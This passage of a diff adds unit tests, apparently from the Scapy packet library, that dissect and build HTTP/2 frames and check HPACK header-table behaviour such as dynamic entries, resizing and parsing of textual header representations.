+ h2.H2Setting(id='Enable push', value=1), + h2.H2Setting(id='Max concurrent streams', value=123), + h2.H2Setting(id='Initial window size', value=1234567), + h2.H2Setting(id='Max frame size', value=123456), + h2.H2Setting(id='Max header list size', value=123) + ] +) +assert(raw(p) == b'\x00\x00$\x04\x00\x00\x00\x00\x00\x00\x01\x07[\xcd\x15\x00\x02\x00\x00\x00\x01\x00\x03\x00\x00\x00{\x00\x04\x00\x12\xd6\x87\x00\x05\x00\x01\xe2@\x00\x06\x00\x00\x00{') + += HTTP/2 Dissect Settings Frame: Incomplete Settings Frame +~ http2 frame dissect settings + +#We use here the decode('hex') method because null-bytes are rejected by eval() +assert(expect_exception(AssertionError, 'h2.H2Frame(bytes_hex("0000240400000000000001075bcd1500020000000100030000007b00040012d68700050001e2400006000000"))')) + += HTTP/2 Dissect Settings Frame: Settings Frame acknowledgement +~ http2 frame dissect settings + +pkt = h2.H2Frame(b'\x00\x00\x00\x04\x01\x00\x00\x00\x00') #Settings frame w/ ack flag +assert(pkt.type == 4) +assert(pkt.len == 0) +assert(len(pkt.flags) == 1) +assert('A' in pkt.flags) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 0) +assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) +assert(isinstance(pkt.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Settings Frame: Settings Frame acknowledgement +~ http2 frame build settings + +p = h2.H2Frame(type=h2.H2SettingsFrame.type_id, flags={'A'}) +assert(raw(p) == b'\x00\x00\x00\x04\x01\x00\x00\x00\x00') + ++ HTTP/2 Push Promise Frame Test Suite + += HTTP/2 Dissect Push Promise Frame: no flag & headers with compression and hdr_name +~ http2 frame dissect pushpromise + +pkt = h2.H2Frame(b'\x00\x00\x15\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') +assert(pkt.type == 5) +assert(pkt.len == 21) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2PushPromiseFrame)) +assert(pkt[h2.H2PushPromiseFrame]) +pf = pkt[h2.H2PushPromiseFrame] +assert(pf.reserved == 0) +assert(pf.stream_id == 3) +assert(len(pf.hdrs) == 1) +assert(isinstance(pf.payload, scapy.packet.NoPayload)) +hdr = pf.hdrs[0] +assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) +assert(hdr.magic == 1) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.type == 1) +assert(hdr.hdr_name.len == 12) +assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.type == 0) +assert(hdr.hdr_value.len == 2) +assert(hdr.hdr_value.getfieldval('data').origin() == 'Me') + += HTTP/2 Build Push Promise Frame: no flag & headers with compression and hdr_name +~ http2 frame build pushpromise + +p = h2.H2Frame(stream_id=1)/h2.H2PushPromiseFrame(stream_id=3,hdrs=[ + h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')), + ) +]) +assert(raw(p) == b'\x00\x00\x15\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') + += HTTP/2 Dissect Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name +~ http2 frame dissect pushpromise + +pkt = h2.H2Frame(b'\x00\x00\x1e\x05\x0c\x00\x00\x00\x01\x08\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me\x00\x00\x00\x00\x00\x00\x00\x00') +assert(pkt.type == 5) +assert(pkt.len == 30) +assert(len(pkt.flags) == 2) +assert('P' in pkt.flags) +assert('EH' in pkt.flags) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) +assert(isinstance(pkt.payload, h2.H2PaddedPushPromiseFrame)) +assert(pkt[h2.H2PaddedPushPromiseFrame]) +pf = pkt[h2.H2PaddedPushPromiseFrame] +assert(pf.padlen == 8) +assert(pf.padding == b'\x00'*8) +assert(pf.stream_id == 3) +assert(len(pf.hdrs) == 1) +hdr = pf.hdrs[0] +assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) +assert(hdr.magic == 1) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.type == 1) +assert(hdr.hdr_name.len == 12) +assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.type == 0) +assert(hdr.hdr_value.len == 2) +assert(hdr.hdr_value.getfieldval('data').origin() == 'Me') + += HTTP/2 Build Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name +~ http2 frame build pushpromise + +p = h2.H2Frame(flags={'P', 'EH'}, stream_id=1)/h2.H2PaddedPushPromiseFrame( + stream_id=3, + hdrs=[ + h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) + ) + ], + padding=b'\x00'*8 +) +assert(raw(p) == b'\x00\x00\x1e\x05\x0c\x00\x00\x00\x01\x08\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me\x00\x00\x00\x00\x00\x00\x00\x00') + ++ HTTP/2 Ping Frame Test Suite + += HTTP/2 Dissect Ping Frame: Ping frame +~ http2 frame dissect ping + +pkt = h2.H2Frame(b'\x00\x00\x08\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') #Ping frame with payload +assert(pkt.type == 6) +assert(pkt.len == 8) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 0) +assert(isinstance(pkt.payload, h2.H2PingFrame)) +assert(pkt[h2.H2PingFrame]) +pf = pkt[h2.H2PingFrame] +assert(pf.opaque == 123456) +assert(isinstance(pf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Ping Frame: Ping frame +~ http2 frame build ping + +p = h2.H2Frame()/h2.H2PingFrame(opaque=123456) +assert(raw(p) == b'\x00\x00\x08\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') + += HTTP/2 Dissect Ping Frame: Pong frame +~ http2 frame dissect ping + +pkt = h2.H2Frame(b'\x00\x00\x08\x06\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') #Pong frame +assert(pkt.type == 6) +assert(pkt.len == 8) +assert(len(pkt.flags) == 1) +assert('A' in pkt.flags) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 0) +assert(isinstance(pkt.payload, h2.H2PingFrame)) +assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) +assert(pkt[h2.H2PingFrame]) +pf = pkt[h2.H2PingFrame] +assert(pf.opaque == 123456) +assert(isinstance(pf.payload, scapy.packet.NoPayload)) + += HTTP/2 Dissect Ping Frame: Pong frame +~ http2 frame dissect ping + +p = h2.H2Frame(flags={'A'})/h2.H2PingFrame(opaque=123456) +assert(raw(p) == b'\x00\x00\x08\x06\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') + ++ HTTP/2 Go Away Frame Test Suite + += HTTP/2 Dissect Go Away Frame: No error +~ http2 frame dissect goaway + +pkt = h2.H2Frame(b'\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00') #Go Away for no particular reason :) +assert(pkt.type == 7) +assert(pkt.len == 8) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 0) +assert(isinstance(pkt.payload, h2.H2GoAwayFrame)) +assert(pkt[h2.H2GoAwayFrame]) +gf = pkt[h2.H2GoAwayFrame] +assert(gf.reserved == 0) +assert(gf.last_stream_id == 1) +assert(gf.error == 0) +assert(len(gf.additional_data) == 0) +assert(isinstance(gf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Go Away Frame: No error +~ http2 frame build goaway + +p = h2.H2Frame()/h2.H2GoAwayFrame(last_stream_id=1, error='No error') +assert(raw(p) == b'\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00') + += HTTP/2 Dissect Go Away Frame: Arbitrary error with additional data +~ http2 frame dissect goaway + +pkt = h2.H2Frame(b'\x00\x00\x10\x07\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xe2@\x00\x00\x00\x00\x00\x00\x00\x00') #Go Away with debug data +assert(pkt.type == 7) +assert(pkt.len == 16) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 0) +assert(isinstance(pkt.payload, h2.H2GoAwayFrame)) +assert(pkt[h2.H2GoAwayFrame]) +gf = pkt[h2.H2GoAwayFrame] +assert(gf.reserved == 0) +assert(gf.last_stream_id == 2) +assert(gf.error == 123456) +assert(gf.additional_data == 8*b'\x00') +assert(isinstance(gf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Go Away Frame: Arbitrary error with additional data +~ http2 frame build goaway + +p = h2.H2Frame()/h2.H2GoAwayFrame( + last_stream_id=2, + error=123456, + additional_data=b'\x00'*8 +) +assert(raw(p) == b'\x00\x00\x10\x07\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xe2@\x00\x00\x00\x00\x00\x00\x00\x00') + ++ HTTP/2 Window Update Frame Test Suite + += HTTP/2 Dissect Window Update Frame: global +~ http2 frame dissect winupdate + +pkt = h2.H2Frame(b'\x00\x00\x04\x08\x00\x00\x00\x00\x00\x00\x01\xe2@') #Window update with increment for connection +assert(pkt.type == 8) +assert(pkt.len == 4) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 0) +assert(isinstance(pkt.payload, h2.H2WindowUpdateFrame)) +assert(pkt[h2.H2WindowUpdateFrame]) +wf = pkt[h2.H2WindowUpdateFrame] +assert(wf.reserved == 0) +assert(wf.win_size_incr == 123456) +assert(isinstance(wf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Window Update Frame: global +~ http2 frame build winupdate + +p = h2.H2Frame()/h2.H2WindowUpdateFrame(win_size_incr=123456) +assert(raw(p) == b'\x00\x00\x04\x08\x00\x00\x00\x00\x00\x00\x01\xe2@') + += HTTP/2 Dissect Window Update Frame: a stream +~ http2 frame dissect winupdate + +pkt = h2.H2Frame(b'\x00\x00\x04\x08\x00\x00\x00\x00\x01\x00\x01\xe2@') #Window update with increment for a stream +assert(pkt.type == 8) +assert(pkt.len == 4) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2WindowUpdateFrame)) +assert(pkt[h2.H2WindowUpdateFrame]) +wf = pkt[h2.H2WindowUpdateFrame] +assert(wf.reserved == 0) +assert(wf.win_size_incr == 123456) +assert(isinstance(wf.payload, scapy.packet.NoPayload)) + += HTTP/2 Build Window Update Frame: a stream +~ http2 frame build winupdate + +p = h2.H2Frame(stream_id=1)/h2.H2WindowUpdateFrame(win_size_incr=123456) +assert(raw(p) == b'\x00\x00\x04\x08\x00\x00\x00\x00\x01\x00\x01\xe2@') + ++ HTTP/2 Continuation Frame Test Suite + += HTTP/2 Dissect Continuation Frame: no flag & headers with compression and hdr_name +~ http2 frame dissect continuation + +pkt = h2.H2Frame(b'\x00\x00\x11\t\x00\x00\x00\x00\x01@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') +assert(pkt.type == 9) +assert(pkt.len == 17) +assert(len(pkt.flags) == 0) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(isinstance(pkt.payload, h2.H2ContinuationFrame)) +assert(pkt[h2.H2ContinuationFrame]) +hf = pkt[h2.H2ContinuationFrame] +assert(len(hf.hdrs) == 1) +assert(isinstance(hf.payload, scapy.packet.NoPayload)) +hdr = hf.hdrs[0] +assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) +assert(hdr.magic == 1) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.type == 1) +assert(hdr.hdr_name.len == 12) +assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.type == 0) +assert(hdr.hdr_value.len == 2) +assert(hdr.hdr_value.getfieldval('data').origin() == 'Me') + += HTTP/2 Build Continuation Frame: no flag & headers with compression and hdr_name +~ http2 frame build continuation + +p = h2.H2Frame(stream_id=1)/h2.H2ContinuationFrame( + hdrs=[ + h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) + ) + ] +) +assert(raw(p) == b'\x00\x00\x11\t\x00\x00\x00\x00\x01@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') + += HTTP/2 Dissect Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name +~ http2 frame dissect continuation + +pkt = h2.H2Frame(b'\x00\x00\x11\t\x04\x00\x00\x00\x01\x10\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') +assert(pkt.type == 9) +assert(pkt.len == 17) +assert(len(pkt.flags) == 1) +assert('EH' in pkt.flags) +assert(pkt.reserved == 0) +assert(pkt.stream_id == 1) +assert(flags_bit_pattern.search(pkt.show(dump=True)) is None) +assert(isinstance(pkt.payload, h2.H2ContinuationFrame)) +assert(pkt[h2.H2ContinuationFrame]) +hf = pkt[h2.H2ContinuationFrame] +assert(len(hf.hdrs) == 1) +assert(isinstance(hf.payload, scapy.packet.NoPayload)) +hdr = hf.hdrs[0] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 1) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.type == 1) +assert(hdr.hdr_name.len == 12) +assert(hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.type == 0) +assert(hdr.hdr_value.len == 2) +assert(hdr.hdr_value.getfieldval('data').origin() == 'Me') + += HTTP/2 Build Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name +~ http2 frame build continuation + +p = h2.H2Frame(flags={'EH'}, stream_id=1)/h2.H2ContinuationFrame( + hdrs=[ + h2.HPackLitHdrFldWithoutIndexing( + never_index=1, + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) + ) + ] +) +assert(raw(p) == b'\x00\x00\x11\t\x04\x00\x00\x00\x01\x10\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') + ++ HTTP/2 HPackHdrTable Test Suite + += HTTP/2 HPackHdrEntry Tests +~ http2 hpack hpackhdrtable + +n = 'X-Requested-With' +v = 'Me' +h = h2.HPackHdrEntry(n, v) +assert(len(h) == 32 + len(n) + len(v)) +assert(h.name() == n.lower()) +assert(h.value() == v) +assert(str(h) == '{}: {}'.format(n.lower(), v)) + +n = ':status' +v = '200' +h = h2.HPackHdrEntry(n, v) +assert(len(h) == 32 + len(n) + len(v)) +assert(h.name() == n.lower()) +assert(h.value() == v) +assert(str(h) == '{} {}'.format(n.lower(), v)) + += HTTP/2 HPackHdrTable : Querying Static Entries +~ http2 hpack hpackhdrtable + +# In RFC7541, the table is 1-based +assert(expect_exception(KeyError, 'h2.HPackHdrTable()[0]')) + +h = h2.HPackHdrTable() +assert(h[1].name() == ':authority') +assert(h[7].name() == ':scheme') +assert(h[7].value() == 'https') +assert(str(h[14]) == ':status 500') +assert(str(h[16]) == 'accept-encoding: gzip, deflate') + +assert(expect_exception(KeyError, 'h2.HPackHdrTable()[h2.HPackHdrTable._static_entries_last_idx+1]')) + += HTTP/2 HPackHdrTable : Addind Dynamic Entries without overflowing the table +~ http2 hpack hpackhdrtable + +tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) +hdr = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString('PHPSESSID=abcdef0123456789')) +) +tbl.register(hdr) + +tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) +hdr2 = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString('JSESSID=abcdef0123456789')) +) +tbl.register([hdr,hdr2]) + +tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) +hdr3 = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString('Test=abcdef0123456789')) +) +frm = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[hdr, hdr2, hdr3]) +tbl.register(frm) + + += HTTP/2 HPackHdrTable : Querying Dynamic Entries +~ http2 hpack hpackhdrtable + +tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) +hdrv = 'PHPSESSID=abcdef0123456789' +hdr = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) +) +tbl.register(hdr) + +hdrv2 = 'JSESSID=abcdef0123456789' +hdr2 = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) +) +tbl.register(hdr2) + +hdr3 = h2.HPackLitHdrFldWithIncrIndexing( + index=0, + hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('x-requested-by')), + hdr_value=h2.HPackHdrString(data=h2.HPackZString('me')) +) +tbl.register(hdr3) + +assert(tbl.get_idx_by_name('x-requested-by') == h2.HPackHdrTable._static_entries_last_idx+1) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv) + += HTTP/2 HPackHdrTable : Addind already registered Dynamic Entries without overflowing the table +~ http2 hpack hpackhdrtable + +tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) + +assert(len(tbl) == 0) + +hdrv = 'PHPSESSID=abcdef0123456789' +hdr = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) +) +tbl.register(hdr) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) + +hdr2v = 'JSESSID=abcdef0123456789' +hdr2 = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdr2v)) +) +tbl.register(hdr2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdr2v) + +l = len(tbl) +tbl.register(hdr) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdr2v) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv) + += HTTP/2 HPackHdrTable : Addind Dynamic Entries and overflowing the table +~ http2 hpack hpackhdrtable + +tbl = h2.HPackHdrTable(dynamic_table_max_size=80, dynamic_table_cap_size=80) +hdrv = 'PHPSESSID=abcdef0123456789' +hdr = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) +) +tbl.register(hdr) +assert(len(tbl) <= 80) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) + +hdrv2 = 'JSESSID=abcdef0123456789' +hdr2 = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) +) +tbl.register(hdr2) +assert(len(tbl) <= 80) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) +try: + tbl[h2.HPackHdrTable._static_entries_last_idx+2] + ret = False +except Exception: + ret = True + +assert(ret) + + += HTTP/2 HPackHdrTable : Resizing +~ http2 hpack hpackhdrtable + +tbl = h2.HPackHdrTable() +hdrv = 'PHPSESSID=abcdef0123456789' +hdr = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) +) +tbl.register(hdr) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) + +hdrv2 = 'JSESSID=abcdef0123456789' +hdr2 = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) +) +tbl.register(hdr2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) + +#Resizing to a value higher than cap (default:4096) +try: + tbl.resize(8192) + ret = False +except AssertionError: + ret = True + +assert(ret) +#Resizing to a lower value by that is not small enough to cause eviction +tbl.resize(1024) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) +#Resizing to a higher value but thatt is lower than cap +tbl.resize(2048) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) +#Resizing to a lower value that causes eviction +tbl.resize(80) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) +try: + tbl[h2.HPackHdrTable._static_entries_last_idx+2] + ret = False +except Exception: + ret = True + +assert(ret) + += HTTP/2 HPackHdrTable : Recapping +~ http2 hpack hpackhdrtable + +tbl = h2.HPackHdrTable() +hdrv = 'PHPSESSID=abcdef0123456789' +hdr = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) +) +tbl.register(hdr) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv) + +hdrv2 = 'JSESSID=abcdef0123456789' +hdr2 = h2.HPackLitHdrFldWithIncrIndexing( + index=32, + hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) +) +tbl.register(hdr2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) + +#Recapping to a higher value +tbl.recap(8192) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) + +#Recapping to a low value but without causing eviction +tbl.recap(1024) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv) + +#Recapping to a low value that causes evictiontbl.recap(1024) +tbl.recap(80) +assert(tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2) +try: + tbl[h2.HPackHdrTable._static_entries_last_idx+2] + ret = False +except Exception: + ret = True + +assert(ret) + += HTTP/2 HPackHdrTable : Generating Textual Representation +~ http2 hpack hpackhdrtable helpers + +h = h2.HPackHdrTable() +h.register(h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) +)) + +hdrs_lst = [ + h2.HPackIndexedHdr(index=2), #Method Get + h2.HPackLitHdrFldWithIncrIndexing( + index=h.get_idx_by_name(':path'), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('/index.php')) + ), + h2.HPackIndexedHdr(index=7), #Scheme HTTPS + h2.HPackIndexedHdr(index=h2.HPackHdrTable._static_entries_last_idx+2), + h2.HPackLitHdrFldWithIncrIndexing( + index=58, + hdr_value=h2.HPackHdrString(data=h2.HPackZString('Mozilla/5.0 Generated by hand')) + ), + h2.HPackLitHdrFldWithoutIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generated-By')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) + ) +] + +p = h2.H2Frame(stream_id = 1)/h2.H2HeadersFrame(hdrs=hdrs_lst) + +expected_output = ''':method GET +:path /index.php +:scheme https +x-generation-date: 2016-08-11 +user-agent: Mozilla/5.0 Generated by hand +X-Generated-By: Me''' + +assert(h.gen_txt_repr(p) == expected_output) + += HTTP/2 HPackHdrTable : Parsing Textual Representation +~ http2 hpack hpackhdrtable helpers + +body = b'login=titi&passwd=toto' +hdrs = ''':method POST +:path /login.php +:scheme https +content-type: application/x-www-form-urlencoded +content-length: {} +user-agent: Mozilla/5.0 Generated by hand +x-generated-by: Me +x-generation-date: 2016-08-11 +x-generation-software: scapy +'''.format(len(body)).encode() + +h = h2.HPackHdrTable() +h.register(h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) +)) +seq = h.parse_txt_hdrs( + hdrs, + stream_id=1, + body=body, + should_index=lambda name: name in ['user-agent', 'x-generation-software'], + is_sensitive=lambda name, value: name in ['x-generated-by', ':path'] +) +assert(isinstance(seq, h2.H2Seq)) +assert(len(seq.frames) == 2) +p = seq.frames[0] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 1) +assert(len(p.flags) == 1) +assert('EH' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2HeadersFrame)) +hdrs_frm = p[h2.H2HeadersFrame] +assert(len(p.hdrs) == 9) +hdr = p.hdrs[0] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 3) +hdr = p.hdrs[1] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 1) +assert(hdr.index in [4, 5]) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(/login.php)') +hdr = p.hdrs[2] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 7) +hdr = p.hdrs[3] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 31) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') +hdr = p.hdrs[4] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 28) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(22)') +hdr = p.hdrs[5] +assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) +assert(hdr.magic == 1) +assert(hdr.index == 58) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') +hdr = p.hdrs[6] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 1) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') +hdr = p.hdrs[7] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 63) +hdr = p.hdrs[8] +assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) +assert(hdr.magic == 1) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-generation-software)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(scapy)') + +p = seq.frames[1] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 0) +assert(len(p.flags) == 1) +assert('ES' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2DataFrame)) +pay = p[h2.H2DataFrame] +assert(pay.data == body) + += HTTP/2 HPackHdrTable : Parsing Textual Representation without body +~ http2 hpack hpackhdrtable helpers + +hdrs = b''':method POST +:path /login.php +:scheme https +user-agent: Mozilla/5.0 Generated by hand +x-generated-by: Me +x-generation-date: 2016-08-11 +''' + +h = h2.HPackHdrTable() +h.register(h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) +)) + +# 